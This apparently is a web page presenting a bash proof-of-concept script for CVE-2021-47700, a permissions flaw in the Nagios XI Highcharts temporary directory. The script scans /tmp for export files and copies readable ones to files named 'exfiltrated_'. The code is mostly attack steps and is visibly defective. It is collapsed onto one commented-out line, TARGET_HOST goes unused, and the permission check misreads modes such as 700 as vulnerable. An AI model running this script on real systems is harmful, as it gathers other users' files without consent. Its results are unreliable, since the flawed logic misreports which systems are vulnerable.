CVE-2021-47700: Nagios XI Highcharts临时目录不安全权限漏洞

#!/bin/bash # CVE-2021-47700 PoC - Nagios XI Highcharts Temporary Directory Exploitation # This script demonstrates the permission vulnerability in Nagios XI's Highcharts export feature TARGET_HOST="${TARGET_HOST:-localhost}" NAGIOS_XI_PATH="/nagiosxi" TEMP_DIR="/tmp/nagiosxi" # Step 1: Find the Highcharts export temporary directory echo "[*] Scanning for Nagios XI Highcharts temporary files..." find /tmp -name "highcharts_export_*" -type f 2>/dev/null | head -20 # Step 2: Check permissions on identified directories echo "[*] Checking directory permissions..." if [ -d "$TEMP_DIR" ]; then ls -la "$TEMP_DIR" 2>/dev/null || echo "[-] Directory not found" else # Common paths for Nagios XI temp files for dir in /tmp/nagiosxi* /var/tmp/nagiosxi* /tmp/highcharts*; do if [ -d "$dir" ]; then echo "[+] Found directory: $dir" ls -la "$dir" # Check if world-readable/writable perms=$(stat -c "%a" "$dir" 2>/dev/null) if [[ "$perms" == *"7"* ]]; then echo "[!] VULNERABLE: Directory has overly permissive permissions ($perms)" fi fi done fi # Step 3: Attempt to read/export files (if authorized) echo "[*] Testing file access capabilities..." for file in $(find /tmp -name "*.png" -o -name "*.svg" 2>/dev/null | grep -i nagios); do echo "[+] Found export file: $file" stat "$file" # Check if we can read the file if [ -r "$file" ]; then echo "[!] VULNERABLE: Can read $file" # Copy file for analysis cp "$file" "/tmp/exfiltrated_$(basename $file)" fi done echo "[*] PoC execution completed." echo "[!] Note: This is for authorized security testing only."